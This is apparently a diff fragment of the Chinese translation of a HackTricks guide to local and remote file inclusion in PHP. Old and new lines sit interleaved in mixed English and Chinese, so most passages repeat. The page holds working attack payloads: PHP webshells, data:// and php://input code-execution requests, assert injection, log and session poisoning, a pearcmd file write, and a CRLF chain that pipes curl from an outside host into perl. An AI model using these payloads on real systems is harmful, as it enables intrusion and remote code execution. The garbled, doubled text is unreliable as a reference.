os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
> 如果某个组件是绝对路径,所有之前的组件将被丢弃,连接将从该绝对路径组件开始继续
> 如果某个组件是绝对路径,则之前的所有组件都会被丢弃,并从该绝对路径组件继续进行连接
## Java 列出目录
看起来,如果在 Java 中存在 Path Traversal并且你 **请求一个目录** 而不是文件,系统会 **返回该目录的列表**据我所知,这在其他语言中不会发生。
看起来,如果在 Java 中存在 Path Traversal 并且你 **请求一个目录** 而不是文件,**返回该目录的列表**。这在其他语言中不会发生afaik
## 前25个参数
## 前 25 个参数
下面是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数列表来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)
下面是可能易受 local file inclusion (LFI) 漏洞影响的前 25 个参数列表(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)
```
?cat={payload}
?dir={payload}
@ -215,34 +215,34 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1
### php://filter
PHP filters 允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为五类:
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: 从数据中移除标签(位于 "<" ">" 字符之间的所有内容)
- `string.strip_tags`: 从数据中移除标签(位于 "<" ">" 字符之间的所有内容)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 转换为不同编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取支持的**所有编码的列表**在控制台运行:`iconv -l`
- `convert.iconv.*` : 将数据转换为不同编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台运行:`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这可能有助于写入任意文本或让像 include 的函数处理任意文本。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容(当外泄大量信息时很有用)
- `zlib.inflate`: 解压数据
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- `mcrypt.*` : 已弃用
- `mdecrypt.*` : 已弃用
- Other Filters
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些 **意外的过滤器**
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: 反转 HTTP chunked 编码
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php filters 作为 oracle 来读取任意文件
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在服务器不直接返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 对文件进行 **boolean exfiltration逐字符**。这是因为 php filters 可以被用来将文本放大到足以让 php 抛出异常的程度。
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种技术,可以在服务器不返回输出的情况下读取本地文件。该技术基于 **boolean exfiltration of the file (char by char) using php filters** 作为 oracle。这是因为 php filters 可以用来把文本放大到足以让 php 抛出异常的程度。
原文中有对该技术的详细解释,下面是快速总结:
在原文中你可以找到该技术的详细解释,但这里给出快速总结:
- 使用编码器 **`UCS-4LE`** 将文本的前导字符保留在开头,并使字符串大小呈指数增长。
- 这将被用来生成一个在初始字母被正确猜出时会变得非常大的文本,从而使 php 触发 **错误**
- **dechunk** filter 会在第一个字符不是十六进制时 **移除所有内容**,因此我们可以判断第一个字符是否为十六进制。
- 将上面这一点与之前的放大手段(以及根据猜测字母使用的其他 filters结合可以通过观察在进行足够多的变换后何时不会被视为十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始的放大会触发 php 错误
- codec **convert.iconv.UNICODE.CP930**把每个字母变为下一个字母(例如 a -> b。因此我们可以检测第一个字母是否为 `a`:如果对其应用 6 次该 codeca->b->c->d->e->f->g该字母就不再是十六进制字符因而 dechunk 不会删除它,初始的放大会触发 php 错误。
- 在开头使用诸如 **rot13** 的变换可以 leak 其它字符如 n, o, p, q, r也可以使用其他 codecs 将其他字母移动到十六进制范围)。
- 当初始字符是数字时,需要对其进行 base64 编码并 leak 前 2 个字符来泄露该数字。
- 最终问题是如何 leak 超出初始字母的更多内容。通过使用改变字节顺序的 filters**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符顺序并将文本的其他字母移到首位。
- 为了能够获取更远处的数据,思路是用 **convert.iconv.UTF16.UTF16** 在开头生成 2 字节的垃圾数据,应用 **UCS-4LE** 使其与接下来的 2 字节发生“枢轴”交换,然后删除直到垃圾数据为止(这将移除初始文本的前 2 字节)。继续这样操作直到到达想要 leak 的位。
- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头,并使字符串大小呈指数增长。
- 这将被用来生成一个 **在首字母被正确猜出时变得非常大的文本**,以致于 php 会触发一个 **error**
- **dechunk** filter 会在 **首字符不是十六进制时删除所有内容**,因此我们可以判断首字符是否为十六进制。
- 这与之前的方法结合(以及根据猜测字母使用的其他 filters将允许我们通过观察在经过足够的变换后何时使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始“炸弹”会使 php 报错
- codec **convert.iconv.UNICODE.CP930**将每个字母转换为后继字母(因此经过此 codeca -> b。这使我们能够判断首字母是否为 `a`,例如如果我们应用 6 次此 codeca->b->c->d->e->f->g该字母就不再是十六进制字符因此 dechunk 不会删除它,且由于与初始“炸弹”相乘,会触发 php 错误。
- 在开头使用**rot13** 这样的其它变换可以 leak 其他字符,例如 n, o, p, q, r也可以使用其他 codecs 将其他字母移到 hex 范围)。
- 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母以 leak 该数字。
- 最终的问题是如何 **leak 超过首字母的内容**。通过使用顺序内存 filters**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符的顺序并将文本中的其他字母移到第一位。
- 为了能够获取 **进一步的数据**,思路是用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,应用 **UCS-4LE** 使其 **与接下来的 2 个字节发生枢轴(pivot)**,并 **删除数据直到垃圾数据**(这将移除初始文本的前 2 个字节)。继续这样操作直到达到想要 leak 的位。
文章中还泄露了一个自动执行该过程的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
文章中还提供了一个用于自动执行该操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
这个 wrapper 允许访问进程已打开的文件描述符。可能有助于 exfiltrate 已打开文件的内容:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **file descriptors 0, 1 and 2**(不确定这在攻击中如何有用
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0、1 和 2**(不确定这在攻击中有何用处
### zip:// rar://
### zip:// and rar://
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.\\
为了能够滥用 rar protocol**需要被特别激活**
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.\
要想滥用 rar 协议,**必须专门启用**它
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
注意该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
### expect://
Expect 必须被启用。你可以使用这个来执行代码:
Expect 必须被激活。你可以使用它来执行代码:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
在 POST parameters 中指定你的 payload:
在 POST 参数中指定你的 payload
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
web 应用使用诸如 `include` 之类的文件加载函数时,`.phar` 文件可用于执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 `.phar` 文件:
Web 应用使用诸如 `include` 等函数加载文件时,可以利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了 `.phar` 文件的创建
```php
<?php
$phar = new Phar('test.phar');
@ -358,11 +358,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
执行后,会创建一个名为 `test.phar` 的文件,该文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
执行后,会创建一个名为 `test.phar` 的文件,可能被用来利用 Local File Inclusion (LFI) 漏洞。
如果 LFI 只进行文件读取而不执行其中的 PHP 代码(例如通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数),可以尝试利用反序列化漏洞。该漏洞与使用 `phar` 协议读取文件有关
如果 LFI 通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数执行文件读取而不执行其中的 PHP 代码,那么可以尝试利用一个与使用 `phar` 协议读取文件相关的反序列化漏洞
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细说明,请参阅下面的文档:
要详细了解在 .phar 文件上下文中利用反序列化漏洞,请参阅下面链接的文档:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,32 +373,32 @@ phar-deserialization.md
### CVE-2024-2961
可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
非常简要的总结:在 PHP heap 中的 **3 byte overflow** 被用来 **alter the chain of free chunks**(特定大小),以便能够 **write anything in any address**,因此添加了一个 hook 来调用 **`system`**。\
可以通过滥用更多 php filters 分配特定大小的 chunks。
可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。详细描述可以 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
快速总结:在 PHP heap 中滥用一个 **3 byte overflow****alter the chain of free chunks**(改变特定大小的空闲块链),以便能够 **write anything in any address**,因此添加了一个钩子来调用 **`system`**。\
可以通过更多 php filters 分配特定大小的 chunks。
### More protocols
查看更多可能的 [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)****
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 将数据写入内存或临时文件(不确定这在 file inclusion 攻击中有何用处
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定在 file inclusion 攻击中如何有用
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回任何可打印内容,所以在这里不太有用)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回任何可打印内容,所以在这里不太有用)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适读取任意文件)
## LFI via PHP's 'assert'
当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。尤其当对包含目录遍历字符(例如 "..")的输入进行检查但未被正确清理时,问题就会出现
在 PHP 中,当涉及 'assert' 函数时Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。如果对包含目录遍历字符(如 "..")的输入只做了检查但没有正确地清理,就尤其成问题
例如PHP 代码可能会被设计成像下面这样防止目录遍历:
例如PHP 代码可能像下面这样设计来防止目录遍历:
```bash
assert("strpos('$file', '..') === false") or die("");
```
虽然这旨在阻止 traversal但它无意中创建了一个用于 code injection 的向量。为了利用这一点来读取文件内容,攻击者可以使用:
虽然这旨在阻止目录遍历,但却无意中为代码注入创造了一个向量。要利用这一点来读取文件内容,攻击者可以使用:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -406,43 +406,43 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
重要的是要 **URL-encode these payloads**
重要**URL-encode these payloads**
## PHP Blind Path Traversal
> [!WARNING]
> 该技术适用于你可以**控制**将传给**PHP 函数**的**文件路径**的情况,该函数会**访问文件**但你不会看到文件的内容(例如简单调用 **`file()`**),即内容不会被显示。
> 该技术适用于你可以**控制**将由**PHP 函数**用于**访问文件**的**文件路径**的情况,但你无法看到该文件的内容(例如对 **`file()`** 的简单调用),且内容不会被显示。
[**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 滥用 blind path traversal 来 **exfiltrate the content of a file via an error oracle**
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
简而言之,该技术使用 **"UCS-4LE" encoding** 将文件内容变得非常**大**,以致于打开该文件的 **PHP function** 会触发一个**错误**。
总结:该技术利用 **"UCS-4LE" encoding** 将文件内容变得非常**大**,以至于**打开该文件的 PHP 函数**会触发一个**error**。
然后,为了 leak 第一个字符,使用 filter **`dechunk`**,以及其他如 **base64****rot13**。最后使用 filters **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** 把其他字符放到开头并 leak 它们。
接着,为了泄露第一个字符,使用了过滤器 **`dechunk`**,并配合诸如 **base64****rot13** 等,最后使用过滤器 **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** 来将其他字符放在开头并 leak 它们。
**可能受影响的函数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
有关技术细节请查看上文提到的文章!
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
当服务器端处理/上传文件的代码在构建目标路径时使用了用户可控的数据(例如 filename 或 URL且未做规范化和验证,`..` 段和绝对路径就能逃离预期目录并导致任意文件写入。如果你能把 payload 放到对外暴露的 web 目录下,通常可以通过放置 webshell 获得 unauthenticated RCE。
当服务器端用于摄取/上传文件的代码在构建目标路径时使用了用户可控的数据(例如 filename 或 URL,但没有进行规范化和校验,`..` 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能把 payload 放到对外暴露的 web 目录下,通常通过丢弃一个 webshell 就可以获得未认证的 RCE。
典型利用流程:
- 识别接受 path/filename 并将内容写入磁盘的写入原语(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
- 确定对 web 暴露的目录。常见示例:
Typical exploitation workflow:
- 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受一个 path/filename 并将内容写入磁盘(例如:消息驱动的摄取、XML/JSON 命令处理器、ZIP 解压器等)。
- 确定对外暴露的 web 目录。常见示例:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 构造 traversal path突破预期存储目录到 webroot并写入你的 webshell 内容。
- 访问写入的 payload 并执行命令。
- 构造一个遍历路径,使其从预期的存储目录跳出到 webroot并包含你的 webshell 内容。
- 访问写入的 payload 并执行命令。
注意:
- 执行写入的易受影响服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你的 payload。
- 在 Java 堆栈中,这些文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏 canonicalisation/allow-listing 是核心缺陷。
Notes:
- 执行写入操作的易受攻击服务可能监听的是非 HTTP 端口(例如在 TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。
- 在 Java 技术栈中,这些文件写入常常通过简单的 `File`/`Paths` 字符串拼接实现。缺乏规范化/允许列表是核心缺陷。
通用的 XML/JMF-style 示例(产品 schemas 各异 — DOCTYPE/body wrapper 对 traversal 无关紧要):
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- 解析到规范路径,并强制其为白名单基目录的子目录
- 拒绝包含 `..`、绝对根或驱动器字母的任何路径;优先使用生成的文件名。
- 以低权限账户运行写入进程,并将写入目录与被服务的根目录隔离。
硬化建议(可防止此类漏洞):
- 将路径解析为 canonical path并强制其为 allow-listed 基目录的子孙路径
- 拒绝任何包含 `..`、absolute roots 或 drive letters 的路径;优先使用生成的文件名。
- 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
此前已解释,[**follow this link**](#remote-file-inclusion)。
### Via Apache/Nginx log file
### 通过 Apache/Nginx 日志文件
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
如果 Apache 或 Nginx 服务器在 include 函数中**存在 LFI 漏洞**,你可以尝试访问 **`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在 **user agent****GET parameter** 中放置一个 php shell比如 **`<?php system($_GET['c']); ?>`**,然后 include 该文件
> [!WARNING]
> 注意**如果你使用双引号**为 shell 而不是 **单引号**,双引号会被替换为字符串 "_**quote;**_"**PHP 会在那里抛出错误**,并且**不会执行其他任何东西**。
> 注意 **如果你对 shell 使用双引号**而不是 **单引号**,双引号会被替换为字符串 "_**quote;**_"**PHP 将抛出错误**,并且**不会执行其他任何内容**。
>
> 此外,确保你**正确地写入 payload**,否则每次尝试加载日志文件时 PHP 都会报错,而且你不会有第二次机会。
> 另外,确保你**正确地编写 payload**,否则每次尝试加载日志文件时 PHP 都会出错,你将不会有第二次机会。
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded这可能会破坏 Shell。头部 **authorisation "basic"** 包含以 Base64 编码的 "user:password"并在日志中被解码。PHPShell 可以插入到该头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,18 +499,18 @@ Other possible log paths:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 通过 Email
### 通过 电子邮件
**向内部账户发送邮件** (user@localhost),邮件内容包含你的 PHP payload例如 `<?php echo system($_REQUEST["cmd"]); ?>`,然后尝试通过路径包含该用户的邮件,如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
**发送邮件** 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload比如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试通过像 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`** 这样的路径来 include 用户的邮件。
### 通过 /proc/*/fd/*
1. 上传大量 shells例如100
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = PID of the processcan be brute forced$FD = file descriptorcan be brute forced too
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID可以通过暴力猜测$FD 是文件描述符(也可以暴力猜测
### 通过 /proc/self/environ
类似日志文件,将 payload 放在 User-Agent 中发送,它会被反映在 /proc/self/environ 文件中
类似日志文件,把 payload 放在 User-Agent 中发送,它会反映到 /proc/self/environ 文件中
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -521,22 +521,22 @@ User-Agent: <?=phpinfo(); ?>
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
为了保持文件可读,最好将其注入到 pictures/doc/pdf 的元数据中
为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中
### 通过 ZIP 文件上传
### 通过 Zip 文件上传
上传一个包含 PHP shell 的 ZIP 压缩包并访问:
上传一个包含 PHP shell 的 ZIP 文件并访问:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### 通过 PHP sessions
### 通过 PHP 会话
检查网站是否使用 PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
在 PHP 中,这些 sessions 存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -545,7 +545,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
使用 LFI 包含 PHP 会话文件
使用 LFI 包含 PHP session 文件
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -555,22 +555,22 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **通过** **vsftpd** _**日志**_
FTP 服务 vsftpd 的日志位于 _**/var/log/vsftpd.log**_在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd server 的情况下,可以考虑以下步骤:
FTP 服务 vsftpd 的日志位于 _**/var/log/vsftpd.log**_如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
1. 在登录过程中,将 PHP payload 注入 username 字段
2. 注入后,利用 LFI _**/var/log/vsftpd.log**_ 检索 server 日志
1. 在登录过程中向用户名字段注入 PHP payload
2. 注入后,利用 LFI 来检索服务器日志,路径为 _**/var/log/vsftpd.log**_
### 通过 php base64 filter (using base64)
### 通过 php base64 filter (使用 base64)
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 filter 会忽略 Non-base64。你可以用它来绕过文件扩展名检查如果你提供以 ".php" 结尾的 base64它会忽略 "." 并将 "php" 附加到 base64。示例如下
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 filter 会忽略非 base64 字符。你可以利用该特性绕过文件扩展名检查:如果你提供的 base64 以 ".php" 结尾,它会忽略 "." 并将 "php" 追加到 base64 的结尾。下面是一个示例 payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php filters (不需要文件)
### 通过 php filters(不需要文件)
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters 来生成任意内容** 作为输出。这基本上意味着你可以为 include **生成任意 php 代码**,而**不需要把它写入文件**
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php filters to generate arbitrary content** 作为输出。这基本上意味着你可以为 include **generate arbitrary php code** 而**无需将其写入**文件
{{#ref}}
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
### 通过 segmentation fault
**上传**一个文件,该文件会被存储为 **临时**`/tmp`,然后在**同一请求**中触发一个 **segmentation fault**,这样 **临时文件不会被删除**,你就可以搜索它。
上传一个会被存储为临时文件在 `/tmp` 的文件,然后在**同一次请求**中触发一个 **segmentation fault**,这样临时文件就不会被删除,你可以去查找它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### 通过 Nginx temp file storage
### 通过 Nginx 临时文件存储
如果你发现了 **Local File Inclusion****Nginx** 在 PHP 前面运行,你可能可以用以下技巧获得 RCE
如果你发现了一个 **Local File Inclusion****Nginx** 在 PHP 前面运行,你可能能够使用以下技术获得 RCE
{{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### 通过 PHP_SESSION_UPLOAD_PROGRESS
如果你发现了 **Local File Inclusion**,即使你**没有 session** 且 `session.auto_start``Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**PHP 会为你**启用 session**。你可以滥用这一点来获 RCE
如果你发现了一个 **Local File Inclusion**,即使你**没有 session** 且 `session.auto_start``Off`。如果你在 multipart POST 数据中提供 `PHP_SESSION_UPLOAD_PROGRESS`PHP 会为你**启用 session**。你可以滥用这一点来获 RCE
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### 通过 temp file uploads in Windows
### 通过 Windows 的临时文件上传
如果你发现了 **Local File Inclusion** 且服务器运行在 **Windows**,你可能会得 RCE
如果你发现了一个 **Local File Inclusion** 且服务器运行在 **Windows**,你可能会得 RCE
{{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### 通过 `pearcmd.php` + URL args
正如 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 所述,脚本 `/usr/local/lib/phppearcmd.php` 在 php docker 镜像中默认存在。此外,可以通过 URL 向该脚本传递参数,因为如果一个 URL 参数没有 `=`,它会被当作参数使用。另见 [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
下面的请求会在 `/tmp/hello.php` 创建一个文件,内容为 `<?=phpinfo()?>`
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
下面滥用 CRLF vuln 来获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
下面利用一个 CRLF vuln 来获取 RCE (来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### 通过 phpinfo() (file_uploads = on)
